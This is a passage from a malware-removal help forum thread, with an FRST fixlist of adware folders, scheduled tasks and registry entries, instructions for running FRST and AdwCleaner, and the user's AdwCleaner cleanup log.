2015-07-29 14:27 - 2015-07-29 16:56 - 00000000 ____D C:\Program Files\Common Files\Thunder Network
2015-07-29 14:26 - 2015-07-29 18:58 - 00000000 ____D C:\Program Files (x86)\Thunder Network
2015-07-29 14:26 - 2015-07-29 17:00 - 00000000 ____D C:\Users\Public\Thunder Network
2015-07-29 14:26 - 2015-07-29 14:28 - 00000000 ____D C:\ProgramData\Thunder Network
2015-07-29 14:26 - 2015-07-29 14:26 - 00000000 ____D C:\Program Files (x86)\Baidu
2015-07-29 14:26 - 2015-07-29 14:26 - 00000000 ____D C:\Users\mewtw_000\AppData\Roaming\Xunlei
2015-07-27 17:52 - 2015-07-27 19:00 - 00000000 ____D C:\Program Files (x86)\wincheck
2015-07-27 17:51 - 2015-07-27 19:00 - 00000000 ____D C:\ProgramData\{b033fd66-2075-590e-b033-3fd66207f598}
2015-07-27 01:54 - 2015-07-27 17:52 - 00000000 ____D C:\Program Files (x86)\StrengthPlus
2015-07-27 01:53 - 2015-07-27 13:48 - 00000000 ____D C:\ProgramData\{ce44d4ce-1e79-11df-ce44-4d4ce1e75338}
2015-07-27 01:24 - 2015-07-27 13:48 - 00000000 ____D C:\ProgramData\{8142cd83-e0b3-b079-8142-2cd83e0b360f}
2015-07-26 23:15 - 2015-07-26 23:15 - 00000000 ____D C:\ProgramData\818aea0000007a8
2015-07-26 23:12 - 2015-07-26 23:12 - 00000000 ____D C:\ProgramData\b803a353000011ad
2015-07-26 23:11 - 2015-07-26 23:42 - 00000000 ___HD C:\ProgramData\ous
2015-07-26 23:08 - 2015-07-26 23:08 - 00631808 _____ C:\Windows\ous.dat
2015-07-26 23:08 - 2015-07-26 23:08 - 00408576 ____N C:\Windows\mous.exe
2015-07-26 23:07 - 2015-07-27 16:56 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PepperZip
2015-07-26 23:07 - 2015-07-26 23:08 - 00417792 ____N C:\Windows\ous.exe
2015-07-26 23:05 - 2015-07-26 23:05 - 00003660 _____ C:\Windows\System32\Tasks\IE_ERR4WDR
2015-07-26 23:05 - 2015-07-26 23:05 - 00003636 _____ C:\Windows\System32\Tasks\HDNINSTSCHD
2015-07-26 23:05 - 2015-07-26 23:05 - 00003502 _____ C:\Windows\System32\Tasks\UPDTEXE4_WDR
2015-07-26 23:05 - 2015-07-26 23:05 - 00000000 ____D C:\Users\mewtw_000\AppData\Roaming\Portable WeatherApp
2015-07-26 23:05 - 2015-07-26 23:05 - 00000000 ____D C:\Users\mewtw_000\AppData\Local\globalUpdate
2015-07-26 23:03 - 2015-07-27 01:36 - 00000000 ____D C:\Users\mewtw_000\AppData\Local\AC91026F-456E-E04D-8CC6-B324BA6FE564
2015-07-26 23:01 - 2015-07-27 00:24 - 00000000 ____D C:\ProgramData\abc
2015-07-26 23:01 - 2015-07-26 23:06 - 00000008 _____ C:\END
2015-07-26 01:24 - 2015-07-27 00:24 - 00000000 ____D C:\ProgramData\{5542381a-6690-efc2-5542-2381a669e069}
2015-07-21 10:48 - 2015-07-21 10:48 - 00000000 ____D C:\ProgramData\Ebon
2015-07-21 10:46 - 2015-07-21 11:46 - 00000000 ____D C:\Program Files (x86)\ba79f054-ecf3-4e6d-a328-88f3376788a5
2015-07-21 10:45 - 2015-07-21 10:57 - 00000000 ____D C:\ProgramData\Ebonmedia
2015-07-21 10:45 - 2015-07-21 10:45 - 00000000 ____D C:\Users\mario\AppData\Local\globalUpdate
2015-07-21 01:24 - 2015-07-27 00:24 - 00000000 ____D C:\ProgramData\{de15af3f-55bc-e8cd-de15-5af3f55bbcfd}
2015-07-14 13:24 - 2015-07-14 13:24 - 00000000 ____D C:\ProgramData\{de5cec06-37eb-7153-de5c-cec0637eb018}
2015-07-21 11:45 - 2015-05-20 03:23 - 00000004 _____ C:\Windows\SysWOW64\029B560A371F4E00AB32838EBC01B9E7
2015-06-30 21:31 - 2015-04-14 22:26 - 00000000 ____D C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7
2015-06-08 17:54 - 2015-06-08 17:54 - 0000079 _____ () C:\Program Files (x86)\prefs.js
Task: {0BDE6C61-A544-452F-9439-0EF38DF6BE67} - System32\Tasks\IE_ERR4WDR => C:\Program Files (x86)\Portable WeatherApp\IEError.exe <==== ATTENTION
Task: {0CEC4572-9050-43B5-A823-C0C2B0253DC0} - \OverLook Worker No Task File <==== ATTENTION
Task: {14C8FC0C-5207-48A0-BDA5-784298B759D1} - \Convertor No Task File <==== ATTENTION
Task: {1608B874-384E-4890-86E8-E32075FF0179} - \WordShark Auto Updater 1.10.0.20 Pending Update No Task File <==== ATTENTION
Task: {1AD734EB-78BD-4EC7-8CE0-89D556A3DB05} - \761f81fe-e0cd-4814-a579-c935d45e848b-10_user No Task File <==== ATTENTION
Task: {1CF4D643-CFFF-48B8-9A38-AA55FB7F95B1} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-6 No Task File <==== ATTENTION
Task: {1E3FCFED-C6F3-49BE-94EA-00CCAB3DA036} - \Bidaily Synchronize Task[973b] No Task File <==== ATTENTION
Task: {1F892C54-0ABB-459B-B378-53F4CB5B0FAB} - \WinKit No Task File <==== ATTENTION
Task: {1FA41B0E-51FF-4CF1-B73B-07CBE2D10FF8} - \ShopperProJSUpd No Task File <==== ATTENTION
Task: {20D64CE6-C860-4AC9-903B-296BD369867F} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-3 No Task File <==== ATTENTION
Task: {22602A9C-CB71-4FC4-B632-5121CF99CDCC} - \temp_761f81fe-e0cd-4814-a579-c935d45e848b-1-6 No Task File <==== ATTENTION
Task: {226BF523-B2DA-48A9-9633-7006DD55D444} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-4 No Task File <==== ATTENTION
Task: {22F5064E-DCA1-45F3-AAA3-BC529C2DED36} - \Winsta Update No Task File <==== ATTENTION
Task: {2441796A-26F6-44CD-9A78-0E324323ABA8} - System32\Tasks\{43EE0294-E308-4D25-A477-7EDA53A38781} => pcalua.exe -a C:\ProgramData\Kodak\Installer\Setup.exe -c /Web /x "{E0F274B7-592B-4669-8FB8-8D9825A09858}" CompanyName="Eastman Kodak Company" /code "1033"
Task: {31C92B53-1B59-4C7E-BE32-DF451EBCFAF7} - \temp_60361efe-6fea-4d98-864b-9930a4c4dfc4-10_user No Task File <==== ATTENTION
Task: {34A52E0B-84D9-43E9-BD3C-EB6D95A8A19A} - \SPDriver No Task File <==== ATTENTION
Task: {358B30FC-59C4-400A-A973-1F0BE92490D2} - \temp_51fb89a7-91f4-446b-9bb7-bf9c59e1a431-6 No Task File <==== ATTENTION
Task: {37B9C646-024D-49E7-91C2-983588998956} - \temp_60361efe-6fea-4d98-864b-9930a4c4dfc4-6 No Task File <==== ATTENTION
Task: {37E11913-4C89-4497-9C53-B0B8AAAF13E3} - \temp_5e9a54ae-db8e-4f12-9503-d51cb90cdfb4-6 No Task File <==== ATTENTION
Task: {38EB1FFB-A127-41FF-8594-16F6ED1A9F2C} - System32\Tasks\BBQLeads => C:\Program Files (x86)\bbqleads\ScheduledTask.exe
Task: {393E45EA-B7BD-468E-B13F-971362A118D3} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-3 No Task File <==== ATTENTION
Task: {3D32A0C7-18DB-4DBA-A233-F0D32E24FD15} - \WordShark Auto Updater 1.10.0.20 Core No Task File <==== ATTENTION
Task: {4031E0C6-CDB3-4E18-A6E1-D28CD56EC6EE} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-1-6 No Task File <==== ATTENTION
Task: {438E5061-39A8-4588-BCEC-A8D2A783E55D} - \temp_d30aefce-c958-4d92-bdef-edd2ed2ccaab-6 No Task File <==== ATTENTION
Task: {45B2C42C-FCAE-42B6-AD44-7F145965B6B9} - \temp_d9ea625a-4df5-4db7-b5af-5b4a13326923-1-6 No Task File <==== ATTENTION
Task: {47F9FD36-0C93-434B-8131-695AD6446EA2} - System32\Tasks\GoogleUpdateTaskUserS-1-5-21-3857839104-3952859072-2417217460-1004UA => C:\Users\mewtw_000\AppData\Local\Google\Update\GoogleUpdate.exe [2015-02-26] (Google Inc.)
Task: {489C03B6-D72F-4576-9D64-5C45D33A2637} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-7 No Task File <==== ATTENTION
Task: {48F2CAE8-FF4C-4349-83B3-4F0A3CDDF0AA} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-1-6 No Task File <==== ATTENTION
Task: {4AB7195D-FE3B-47E6-9582-BFCDD6513E82} - \761f81fe-e0cd-4814-a579-c935d45e848b-6 No Task File <==== ATTENTION
Task: {5000B187-576E-4F03-93FC-4D600E25778C} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-4 No Task File <==== ATTENTION
Task: {505B4A87-73B8-47A1-8786-3C3F1168B1A8} - \EBNJQLBEJ1 No Task File <==== ATTENTION
Task: {548363F5-D247-457D-AF36-6B6606B493AE} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-10_user No Task File <==== ATTENTION
Task: {557A6639-63D4-45F8-8CE1-958A747BA853} - \globalUpdateUpdateTaskMachineCore No Task File <==== ATTENTION
Task: {597FBD03-7C0A-4E57-94DF-F61117D4277E} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-5 No Task File <==== ATTENTION
Task: {5CD53E48-9567-4700-8282-53C45AC23E68} - \761f81fe-e0cd-4814-a579-c935d45e848b-1-6 No Task File <==== ATTENTION
Task: {641C8E69-7C14-417F-B2F1-F5C76201B18C} - \Web Tool Runner No Task File <==== ATTENTION
Task: {6CCB7154-1396-48A8-9A47-4A90D2F066C3} - \APSnotifierPP1 No Task File <==== ATTENTION
Task: {6CE7C4BB-0C13-4AD0-BD5B-A9796B44096D} - \APSnotifierPP3 No Task File <==== ATTENTION
Task: {6DE6E6E6-09AE-4956-8389-10914B58E61E} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-5 No Task File <==== ATTENTION
Task: {6EE3450D-7962-481D-AA79-42D434ECBBDA} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-1-7 No Task File <==== ATTENTION
Task: {6F750387-77AC-4728-AFC1-85F4D0F128FD} - \ProPCCleaner_Start No Task File <==== ATTENTION
Task: {705B41D4-7117-4B27-80A2-E0E2C6197130} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-5_user No Task File <==== ATTENTION
Task: {71701147-BE50-4DA1-8833-2BEDE9DEC2C1} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-5 No Task File <==== ATTENTION
Task: {730457D7-F401-444A-B38B-C3811F15BA69} - \Microsoft\Windows\Maintenance\Web Tool Updater No Task File <==== ATTENTION
Task: {7D5313C0-971C-4009-AF6F-9DEAA7AB0E6C} - \temp_5e9a54ae-db8e-4f12-9503-d51cb90cdfb4-1-6 No Task File <==== ATTENTION
Task: {832480C7-6DDC-4693-BAF7-0EFFA65D9972} - \761f81fe-e0cd-4814-a579-c935d45e848b-7 No Task File <==== ATTENTION
Task: {880B1885-4622-43F0-A62F-AC53F8B3951B} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-5_user No Task File <==== ATTENTION
Task: {887263C2-3733-4C72-95EC-B57675DA1E09} - \Microsoft\Windows\Maintenance\OverLook Updater No Task File <==== ATTENTION
Task: {8A908A6B-0069-4AE8-8115-81B76FC4FBB0} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-4 No Task File <==== ATTENTION
Task: {8BF40AE9-79AD-4DCA-843A-FAAA1F838977} - \761f81fe-e0cd-4814-a579-c935d45e848b-5_user No Task File <==== ATTENTION
Task: {8EAE9AA0-1E58-458B-A214-5F70204EE6B8} - \Bidaily Synchronize Task No Task File <==== ATTENTION
Task: {910E2822-1332-4644-8C01-0FCEA769AF52} - \temp_d9ea625a-4df5-4db7-b5af-5b4a13326923-10_user No Task File <==== ATTENTION
Task: {99B9D154-0DF4-459E-878D-853128EF3352} - \761f81fe-e0cd-4814-a579-c935d45e848b-3 No Task File <==== ATTENTION
Task: {9A7D0B6B-C469-45CD-B136-35B16C8860DB} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-5_user No Task File <==== ATTENTION
Task: {9BD5E006-227A-4641-950E-FE5846DA9A67} - \temp_7bef29bc-5968-46e0-a247-4da6b5d7a869-10_user No Task File <==== ATTENTION
Task: {9E8435AE-BA96-47CE-BF0A-5023F2235D7A} - \ShopperPro No Task File <==== ATTENTION
Task: {9FCEE18D-C9F8-430B-90A7-F4D4DEE2F6A2} - System32\Tasks\HDNINSTSCHD => C:\Windows\PCBHDNW\hdnInstaller.exe <==== ATTENTION
Task: {A22190CA-8510-44D0-812B-272A46F0BE1B} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-5_user No Task File <==== ATTENTION
Task: {A7D0A429-54E6-44C0-98E2-5394D197C329} - \temp_d9ea625a-4df5-4db7-b5af-5b4a13326923-6 No Task File <==== ATTENTION
Task: {A85EF5B7-4184-495E-ABF5-823157353908} - \globalUpdateUpdateTaskMachineUA No Task File <==== ATTENTION
Task: {A9858CE9-C069-486E-964A-D65D16CF67E6} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-1-7 No Task File <==== ATTENTION
Task: {AACC3F0F-2C6F-4F25-833F-C6C163A0C838} - \APSnotifierPP2 No Task File <==== ATTENTION
Task: {AEAFC6AD-BB6B-4088-B3B3-939A11AB4F51} - \temp_51fb89a7-91f4-446b-9bb7-bf9c59e1a431-1-6 No Task File <==== ATTENTION
Task: {AF2C8804-D929-47BC-9D47-1953CEA49B4D} - System32\Tasks\Microsoft\Windows\Maintenance\SMupdate2 => Rundll32.exe C:\PROGRA~1\COMMON~1\System\SysMenu.dll ,Command701 update2 <==== ATTENTION
Task: {B1FC21C3-B12C-40D8-BECA-E04A58590454} - \temp_7bef29bc-5968-46e0-a247-4da6b5d7a869-1-6 No Task File <==== ATTENTION
Task: {B5043BDD-DA41-4F29-ADA9-502B57D03B5D} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-1-6 No Task File <==== ATTENTION
Task: {B51F7D9F-7482-4F54-B4B6-3AD0290CEE19} - \temp_7bef29bc-5968-46e0-a247-4da6b5d7a869-6 No Task File <==== ATTENTION
Task: {B6B7AC7A-DC3D-4A99-8FF6-AF5BBFEE4172} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-6 No Task File <==== ATTENTION
Task: {B790D521-D3AC-4188-BAF7-D60363FF9D88} - \temp_761f81fe-e0cd-4814-a579-c935d45e848b-10_user No Task File <==== ATTENTION
Task: {B94C7AE7-F031-4BB6-B7FA-D024C2667BE1} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-4 No Task File <==== ATTENTION
Task: {B9CB6EC7-E0A3-49F0-9BF9-51CD42235E88} - System32\Tasks\Microsoft\Windows\Multimedia\SMupdate3 => Rundll32.exe C:\PROGRA~1\COMMON~1\System\SysMenu.dll ,Command701 update3 <==== ATTENTION
Task: {BB53F6A3-B6D9-4FC4-BBF0-744BB5B57886} - \Periodic Synchronize Task No Task File <==== ATTENTION
Task: {BE31861D-0D55-4B96-A668-FA119A32DB45} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-1-7 No Task File <==== ATTENTION
Task: {BF18EC24-12A2-48AC-B0AE-31E02F450A8B} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-10_user No Task File <==== ATTENTION
Task: {C158D3D7-569D-42C2-B81E-F6E956B00197} - \Crossbrowse No Task File <==== ATTENTION
Task: {C1ADF877-295A-4EE7-9C8F-245615FC894D} - \temp_761f81fe-e0cd-4814-a579-c935d45e848b-6 No Task File <==== ATTENTION
Task: {C22EB718-5C2F-4D10-AFEF-89492FCE8E7D} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-7 No Task File <==== ATTENTION
Task: {C5D5600C-1A24-4334-9F28-C6D356E3D32D} - System32\Tasks\UPDTEXE4_WDR => C:\Program Files (x86)\Portable WeatherApp\updater.exe <==== ATTENTION
Task: {C69EB26C-DEF6-408F-9565-AD6470981525} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-7 No Task File <==== ATTENTION
Task: {C75F4AF8-6A37-47D1-9E97-A878AB8DECF5} - \LaunchPreSignup No Task File <==== ATTENTION
Task: {C8679065-F74A-4A68-9BF5-BD2E365685BF} - \761f81fe-e0cd-4814-a579-c935d45e848b-1-7 No Task File <==== ATTENTION
Task: {C97B5F3B-BA63-4E35-8630-4C60D5C1C869} - System32\Tasks\Games\UpdateCheck_S-1-5-21-3857839104-3952859072-2417217460-1001
Task: {CCDF21B0-070A-4DB4-9EEF-351A1E9F8BEF} - \temp_60361efe-6fea-4d98-864b-9930a4c4dfc4-1-6 No Task File <==== ATTENTION
Task: {D1F4B0AE-FF54-45FF-B416-00C01C8BA1E3} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-1-6 No Task File <==== ATTENTION
Task: {D9139832-3E78-4546-8E15-4F867932A741} - \761f81fe-e0cd-4814-a579-c935d45e848b-4 No Task File <==== ATTENTION
Task: {E179AED9-143F-4C65-8C3E-8A1605F5D58B} - \temp_d30aefce-c958-4d92-bdef-edd2ed2ccaab-1-6 No Task File <==== ATTENTION
Task: {E58B8A16-FB66-4F01-B6EC-1C9FF07E1C79} - \Optscan No Task File <==== ATTENTION
Task: {E7186E58-409F-4993-A155-F8DB137F71CE} - \51fb89a7-91f4-446b-9bb7-bf9c59e1a431-6 No Task File <==== ATTENTION
Task: {EB24C4FA-D65C-4503-81BC-CA61AC7764B3} - \AmiUpdXp No Task File <==== ATTENTION
Task: {EF8A60A0-AEE6-4687-B365-4E0BCBC7BD90} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-7 No Task File <==== ATTENTION
Task: {EFA72C3C-DD3D-4359-88A1-5C0700348493} - \d30aefce-c958-4d92-bdef-edd2ed2ccaab-6 No Task File <==== ATTENTION
Task: {F14BCB01-41FE-47AA-8DC7-C4794D44A74C} - \761f81fe-e0cd-4814-a579-c935d45e848b-5 No Task File <==== ATTENTION
Task: {F221AFF8-BDAE-4AD7-9654-BF8FF34DEAE0} - System32\Tasks\MaxComputerCleaner_Start => C:\Program Files (x86)\Max Computer Cleaner\MaxComputerCleaner.exe <==== ATTENTION
Task: {F2AC6277-4EC6-41EF-ADAB-3BB64956C795} - \temp_5e9a54ae-db8e-4f12-9503-d51cb90cdfb4-10_user No Task File <==== ATTENTION
Task: {F390F39B-3162-45B3-93B8-35D32C1593D5} - \7bef29bc-5968-46e0-a247-4da6b5d7a869-5 No Task File <==== ATTENTION
Task: {F83E5E72-8A72-41EC-BC94-F2CAA6BDF56B} - \60361efe-6fea-4d98-864b-9930a4c4dfc4-1-7 No Task File <==== ATTENTION
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\IMFservice => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\tammgF119.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\tammgR119.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Hamachi2Svc => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Okuseei => ""="service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\str => ""="service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tammgF119.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tammgR119.sys => ""="Driver"
ShellIconOverlayIdentifiers-x32: [AAADesktopTips] -> {4562B511-62E9-4533-B7B2-56A8BB10B482} => C:\Users\Public\Thunder Network\KanKan\reghelper\xappex.1.1.1.73.(39).dll [2013-11-20] (深圳市迅雷网络技术有限公司)
2015-07-29 14:28 - 2015-07-29 14:28 - 00000000 ____D C:\Users\mewtw_000\AppData\Roaming\ѸÀ×ÓÎÏ·
2015-07-29 14:26 - 2015-07-29 14:26 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ѸÀ×Èí¼þ
C:\Users\mewtw_000\AppData\Roaming\Mozilla\Firefox\Profiles\ui2sr9ag.default\user.js
C:\Program Files (x86)\bbqleads
C:\Program Files (x86)\Max Computer Cleaner
RemoveProxy:
EmptyTemp:
CMD: bitsadmin /reset /allusers


Save this as fixlist.txt, in the same location as FRST.exe
FRSTfix.JPG
Run FRST and press Fix
On completion a log will be generated please post that

THEN

Please download AdwCleaner by Xplode onto your desktop.
  • Close all open programs and internet browsers.
  • Double click on AdwCleaner.exe to run the tool.
  • Click on Scan.
  • After the scan is complete click on "Clean"
  • Confirm each time with Ok.
  • Your computer will be rebooted automatically. A text file will open after the restart.
  • Please post the content of that logfile with your next answer.
  • You can find the logfile at C:\AdwCleaner[S0].txt as well.

  • 0

#5
Lucky Dearly

Lucky Dearly

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 299 posts

okay here's the logs, first is Adwcleaner

 

# AdwCleaner v4.208 - Logfile created 30/07/2015 at 15:29:58
# Updated 09/07/2015 by Xplode
# Database : 2015-07-26.2 [Server]
# Operating system : Windows 8.1  (x64)
# Username : mewtw_000 - GAMERPC2
# Running from : C:\Users\mewtw_000\Desktop\AdwCleaner.exe
# Option : Cleaning

***** [ Services ] *****

[#] Service Deleted : YahooAUService
[#] Service Deleted : mcaudrv_simple
[#] Service Deleted : ManyCam

***** [ Files / Folders ] *****

Folder Deleted : C:\ProgramData\ytd video downloader
Folder Deleted : C:\ProgramData\19d3b28700000b70
Folder Deleted : C:\ProgramData\f147d17c000076c5
Folder Deleted : C:\ProgramData\{0ab48cb7-0419-6340-0ab4-48cb704132dc}
Folder Deleted : C:\ProgramData\{0e2506cc-b3f3-3195-0e25-506ccb3f1b32}
Folder Deleted : C:\ProgramData\{147c35fc-58d0-352c-147c-c35fc58dd7f1}
Folder Deleted : C:\ProgramData\{175cfe13-7203-41b3-175c-cfe13720f84d}
Folder Deleted : C:\ProgramData\{23c7b693-836f-6702-23c7-7b693836da4e}
Folder Deleted : C:\ProgramData\{34896f10-a4fc-6299-3489-96f10a4fbc42}
Folder Deleted : C:\ProgramData\{36098eab-00fe-149c-3609-98eab00f3aac}
Folder Deleted : C:\ProgramData\{bca9e09b-a155-5507-bca9-9e09ba15826e}
Folder Deleted : C:\ProgramData\{de329852-43d3-f226-de32-2985243d6149}
Folder Deleted : C:\ProgramData\{ef4d1eaa-f46a-55fd-ef4d-d1eaaf467aab}
Folder Deleted : C:\ProgramData\{ef5e13c2-cb8d-0d0c-ef5e-e13c2cb84f0b}
Folder Deleted : C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ytd video downloader
Folder Deleted : C:\Users\Public\Documents\Goobzo
Folder Deleted : C:\Program Files (x86)\GreenTree Applications
Folder Deleted : C:\Program Files (x86)\predm
Folder Deleted : C:\Program Files (x86)\relaydouble
Folder Deleted : C:\Program Files (x86)\SeekerProc
Folder Deleted : C:\Program Files (x86)\app_setup
Folder Deleted : C:\Program Files (x86)\SoufTCaoup
Folder Deleted : C:\Program Files (x86)\Winsta
Folder Deleted : C:\Program Files (x86)\Common Files\Software Update Utility
Folder Deleted : C:\Program Files (x86)\Common Files\Umbrella
Folder Deleted : C:\Windows\SysWOW64\config\systemprofile\AppData\Local\StormWatch
Folder Deleted : C:\Windows\SysWOW64\config\systemprofile\AppData\Local\SafeGuard
Folder Deleted : C:\Program Files\SpaceSoundPro
Folder Deleted : C:\Users\mario\AppData\Roaming\Store
Folder Deleted : C:\Users\mario\AppData\Roaming\RHEng
Folder Deleted : C:\Users\mario\AppData\Roaming\WTools
Folder Deleted : C:\Users\mewtw_000\AppData\Local\eSupport.com
Folder Deleted : C:\Users\mewtw_000\AppData\Local\HealthAlert
Folder Deleted : C:\Users\mewtw_000\AppData\Local\Max_Computer_Cleaner
Folder Deleted : C:\Users\mewtw_000\AppData\LocalLow\Goobzo
Folder Deleted : C:\Users\mewtw_000\AppData\Roaming\Store
Folder Deleted : C:\Users\mewtw_000\AppData\Roaming\WTools
Folder Deleted : C:\Users\mewtw_000\AppData\Roaming\jellylam
Folder Deleted : C:\Users\mewtw_000\AppData\Roaming\Winsta
Folder Deleted : C:\Users\mewtw_000\Documents\MaxComputerCleaner
Folder Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbmegnmpleoagolcnjnejdacakedpcgd
Folder Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Extensions\jecgbfoconhopjngaaijjgffhokohlac
Folder Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Extensions\gegdfeiahlfolhcfioipjlkombmgbakh
File Deleted : C:\Users\alex\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_nociobghckdhokecfeajdpimjeapnopn_0.localstorage
File Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_nociobghckdhokecfeajdpimjeapnopn_0.localstorage
File Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_jecgbfoconhopjngaaijjgffhokohlac_0.localstorage
File Deleted : C:\Users\alex\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_adpeheiliennogfclcgmchdfdmafjegc_0.localstorage
File Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_adpeheiliennogfclcgmchdfdmafjegc_0.localstorage
File Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_gegdfeiahlfolhcfioipjlkombmgbakh_0.localstorage
File Deleted : C:\Users\Public\Desktop\YTD Video Downloader.lnk
File Deleted : C:\Program Files\Common Files\System\SysMenu.dll
File Deleted : C:\Program Files\Common Files\System\SysMenu64.dll
File Deleted : C:\Windows\System32\roboot64.exe
File Deleted : C:\Windows\System32\drivers\mcaudrv_x64.sys
File Deleted : C:\Windows\System32\drivers\mcvidrv.sys
File Deleted : C:\Users\alex\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\YTD Video Downloader.lnk
File Deleted : C:\Users\mario\AppData\Roaming\BMTJIDK
File Deleted : C:\Users\mario\AppData\Roaming\QKAKN
File Deleted : C:\Users\mewtw_000\AppData\Roaming\EXRoEAwr3fCGeUPmQCDQ
File Deleted : C:\Users\mewtw_000\AppData\Roaming\Mozilla\Firefox\Profiles\ui2sr9ag.default\invalidprefs.js
File Deleted : C:\Program Files (x86)\Mozilla Firefox\plugins\npdnu.xpt
File Deleted : C:\Program Files (x86)\Mozilla Firefox\plugins\npdnupdater2.xpt
File Deleted : C:\Users\mario\AppData\Roaming\Mozilla\Firefox\Profiles\ffcfcwci.default\user.js
File Deleted : C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\yahoo.xml
File Deleted : C:\Users\mario\AppData\Local\Google\Chrome\User Data\Default\Local Storage\hxxp_www.reimageplus.com_0.localstorage

***** [ Scheduled tasks ] *****

Task Deleted : RunAsStdUser Task for VeohWebPlayer
Task Deleted : SMupdate1
Task Deleted : amiupdaterExd
Task Deleted : amiupdaterExi

***** [ Shortcuts ] *****

Shortcut Disinfected : C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome .lnk
Shortcut Disinfected : C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Firefox .lnk
Shortcut Disinfected : C:\Users\mewtw_000\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Iexplore .lnk
Shortcut Disinfected : C:\Users\mewtw_000\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Firefox .lnk
Shortcut Disinfected : C:\Users\mewtw_000\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Iexplore .lnk

***** [ Registry ] *****

Key Deleted : HKLM\SOFTWARE\Classes\AppID\dnu.EXE
Key Deleted : HKLM\SOFTWARE\Classes\dnUpdate
Key Deleted : HKLM\SOFTWARE\Classes\dnUpdater.DownloadUIBrowser
Key Deleted : HKLM\SOFTWARE\Classes\dnUpdater.DownloadUIBrowser.1
Key Deleted : HKLM\SOFTWARE\Classes\dnUpdater.DownloadUpdController
Key Deleted : HKLM\SOFTWARE\Classes\dnUpdater.DownloadUpdController.1
Key Deleted : HKLM\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\SysMenuExt
Key Deleted : HKLM\SOFTWARE\Classes\AppID\SysMenu.DLL
Key Deleted : HKLM\SYSTEM\CurrentControlSet\Control\Class\{0014298C-A9BA-440D-AAA8-AD12C7010EE5}
Key Deleted : HKLM\SYSTEM\CurrentControlSet\Control\Class\{181A06EA-B82C-47DE-B851-E20FD0E1CC7D}
Value Deleted : HKLM\SOFTWARE\Classes\.xht\OpenWithProgIDs [CRSBRWSHTML]
Value Deleted : HKLM\SOFTWARE\Classes\.webp\OpenWithProgIDs [CRSBRWSHTML]
Value Deleted : HKLM\SOFTWARE\Classes\.shtml\OpenWithProgIDs [CRSBRWSHTML]
Key Deleted : HKLM\SOFTWARE\Classes\PFC41A6F5_6C19_493F_852D_AD183119D8DD_.PFC41A6F5_6C19_493F_852D_AD183119D8DD_
Key Deleted : HKLM\SOFTWARE\Classes\PFC41A6F5_6C19_493F_852D_AD183119D8DD_.PFC41A6F5_6C19_493F_852D_AD183119D8DD_.9
Key Deleted : HKLM\SOFTWARE\8a4c960a-5ecc-4a85-862a-3c660939ae10
Key Deleted : HKLM\SOFTWARE\8c9ffd5d-e783-11db-d76c-b532fa871e5d
Key Deleted : HKLM\SOFTWARE\933a2e8c-cbd6-43df-aab5-79fa33c15712
Key Deleted : HKLM\SOFTWARE\AC91026F-456E-E04D-8CC6-B324BA6FE564
